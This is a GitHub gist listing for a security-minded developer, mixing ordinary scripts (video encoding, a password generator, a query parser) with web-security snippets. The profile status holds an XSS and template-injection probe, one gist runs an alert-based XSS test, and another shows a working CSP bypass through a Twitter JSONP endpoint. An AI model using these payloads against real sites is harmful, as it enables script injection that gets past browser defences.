Skip to content

Instantly share code, notes, and snippets.

View shinkbr's full-sized avatar
:shipit:
'"><svg/onload=alert()>{{7*7}}

Shintaro Kobori shinkbr

:shipit:
'"><svg/onload=alert()>{{7*7}}
View GitHub Profile
@shinkbr
shinkbr / alert.js
Created January 21, 2024 17:23
xss test
alert(document.domain);
#!/bin/bash
# Encodes a bluray disc into mp4.
# ffmpeg parameters are tuned for blu-ray anime.
usage(){
echo "Usage: sudo $(basename $0) BD_ISO"
}
if [ $# -ne 1 ]
$ time ./a.out
4./a.out  18.75s user 0.01s system 99% cpu 18.879 total

$ time ./b.out
4./b.out  23.44s user 0.02s system 99% cpu 23.550 total

$ gcc --version
Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/c++/4.2.1
Apple clang version 11.0.0 (clang-1100.0.33.8)
@shinkbr
shinkbr / 1-a
Last active September 22, 2019 16:10
aaa
@shinkbr
shinkbr / pixiv-inside-csp3-01
Last active October 7, 2018 00:38
code snippets for pixiv inside article https://inside.pixiv.blog/kobo/5137
# 'self' と trusted.example.comのJSのみ実行を許可する
content-security-policy: script-src 'self' trusted.example.com
# 上記に加えてinline scriptの実行も許可する (XSS対策としての恩恵はほぼ無い)
content-security-policy: script-src 'self' trusted.example.com 'unsafe-inline'
@shinkbr
shinkbr / csp-bypass.html
Created August 23, 2018 18:25
CSP bypass using twitter.com and twimg.com's JSONP endpoint
<script src="https://platform.twitter.com/widgets.js"></script>
<script src="https://cdn.syndication.twimg.com/timeline/profile?callback=__twttr/window.alert&screen_name=shinkbr"></script>
@shinkbr
shinkbr / vimium-options.json
Last active September 12, 2018 05:29
vimium configuration json
{
"settingsVersion": "1.64",
"exclusionRules": [
{
"pattern": "https?://mail.google.com/*",
"passKeys": ""
}
],
"filterLinkHints": false,
"waitForEnterForFilteredHints": true,
@shinkbr
shinkbr / password.rb
Created January 21, 2018 20:19
Generate random and complex passwords
#!/usr/bin/env ruby
# coding: utf-8
length = 12
if ARGV.size > 0 && (ARGV[0].to_i.to_s == ARGV[0]) &&
ARGV[0].to_i >= 4 && ARGV[0].to_i <= 128
length = ARGV[0].to_i
end

Keybase proof

I hereby claim:

  • I am shinkbr on github.
  • I am shinkbr (https://keybase.io/shinkbr) on keybase.
  • I have a public key ASBsCQn4yQsMGCbliF0qFt3zEUj1FjLnObjjDNV4UqNo8Ao

To claim this, I am signing this object:

@shinkbr
shinkbr / query.sh
Last active November 20, 2017 02:19
Extract and split URL query parameters
#!/usr/bin/env bash
read uri
query=${uri##*\?}
echo -n "$query" | tr "&" "\n"